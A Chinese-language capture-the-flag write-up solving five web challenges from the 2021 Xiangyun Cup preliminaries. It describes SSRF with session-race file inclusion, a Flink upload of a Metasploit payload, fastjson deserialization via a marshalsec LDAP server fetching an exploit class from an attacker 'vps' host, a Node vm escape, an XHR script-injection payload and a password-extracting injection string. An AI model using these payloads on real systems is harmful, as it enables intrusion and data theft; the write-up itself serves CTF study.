2021 祥云杯初赛 Web 题解。
ezyii
参考https://xz.aliyun.com/t/9948#toc-6 第四条链子。
1 |
|
安全检测
一个ssrf,经过测试是 file_get_contents.
扫目录,/admin是403,ssrf去请求http://127.0.0.1/admin。
里面一个php,文件包含过滤了很多东西,考虑session竞争上传+文件包含。
1 | import sys |
层层穿透
第一层参考https://www.hacking8.com/bug-product/Apache-Flink/Apache-Flink-Dashboard-%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C.html,直接上传个msf的马就有meterpreter了。
10.10.1.11:8080有个web服务,题目给了源码,应该就是这个服务。
fastjson 1.2.24 反序列化,过滤了JdbcRowSetImpl
和TemplatesImpl
,以及\x
,\u
。尝试使用别的类。
最终参考https://www.mi1k7ea.com/2021/02/08/Fastjson%E7%B3%BB%E5%88%97%E5%85%AD%E2%80%94%E2%80%941-2-48-1-2-68%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/,使用org.apache.shiro.realm.jndi.JndiRealmFactory
。
payload长度需要大于等于20000,加一些没用的字符就行了。使用nps搭建代理,请求:
启动ldap:
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://vps:5555/#Exploit" 9999 |
反弹到shell:
crawler_z
token可以生成之后先不使用(不verfiy),生成token后先更新url为我们的url,再verfiy,这样可以让爬虫来请求我们的网页。
Vps上web目录创建一个目录名为df101d5f2909f5c05a200e0e2e6b053a.oss-cn-beijing.ichunqiu.com,就可以让服务器来请求到我们指定的内容。url为 http://vps/df101d5f2909f5c05a200e0e2e6b053a.oss-cn-beijing.ichunqiu.com/exp.html。
zombie解析js时,注意到 require了vm:
用vm逃逸的payload可以rce。
vps的html为:
1 | <html> |
请求的exp:
1 | import requests |
Secrets_Of_Admin
源码里找到用户名密码:admin/e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645 可以登陆。
目标应该是通过/api/files 这个接口插入一条username=admin filename=flag 的记录,然后可以下载到flag文件。
猜测大概率利用html-pdf这个库渲染的时候来去构造请求,请求 /api/files 这个接口。但是有过滤,过滤了尖括号,斜杠这些。测试发现数组可以绕过过滤。
注意到flag字段是 unique的,所以不能插入flag:
因为后面读文件用的是path.join(__dirname , "../files/", filename)
,所以可以插入一个 ./flag 绕过。
content为:
1 | <script>var xhr=new XMLHttpRequest();url='http://127.0.0.1:8888/api/files?username=admin&filename=./flag&checksum=be5a14a8e504a66979f6938338b0662c';xhr.open("GET",url,true);xhr.send();</script> |
访问http://eci-2zedk1cbvvah2lkdjevj.cloudeci1.ichunqiu.com:8888/api/files/be5a14a8e504a66979f6938338b0662c 可以下载到flag。
packagemanager
auth那里存在注入:
直接拼接,这里出题人本意应该是构造永真条件登陆,但是这里可以注入出admin的密码,应该是非预期。
payload:
1 | 4054f0d389481b5d2d1695267d22f9f8"||this.username == "admin"&&this.password[0]=="b' |
Exp:
1 | import requests |
注入出密码是b!@#$d5dh47jyfz#098crw*w
,admin登陆进去就有flag。